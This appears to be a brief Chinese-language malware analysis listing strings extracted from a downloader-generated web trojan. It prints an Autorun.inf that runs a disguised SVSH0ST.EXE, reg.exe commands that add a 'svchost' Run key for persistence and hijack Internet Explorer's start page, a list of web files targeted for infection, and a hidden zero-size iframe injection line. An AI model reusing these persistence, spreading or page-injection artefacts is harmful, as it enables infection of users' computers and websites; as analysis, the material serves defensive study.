分析报告：下载者生成器生成的网页木马

1.%system%\SVSH0ST.EXE

%system%\Autorun.inf

[AutoRun]



open=lcg.exe

shell\open=打开(&O)

shell\open\Command=lcg.exe

shell\open\Default=1

shell\explore=资源管理器(&X)

shell\explore\Command=lcg.EXE

reg.exe

"ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V svchost /T REG_SZ /D "

"ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V svchost /T REG_SZ /D 

C:\\WINNT\\System32\\SVSH0ST.EXE /F"

"add \"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\" /v \"Start Page\" /t 

REG_EXPAND_SZ /d /f"

"add \"HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\" /v 

\"HomePage\" /t REG_DWORD /d 00000001 /f"

"病毒"

INDEX.ASP

.HTM

INDEX.PHP

DEFAULT.ASP

DEFAULT.PHP

CONN.ASP

<ｉｆｒａｍｅ src=http://*/test.htm width=0 height=0><　/　ｉｆｒａｍｅ　>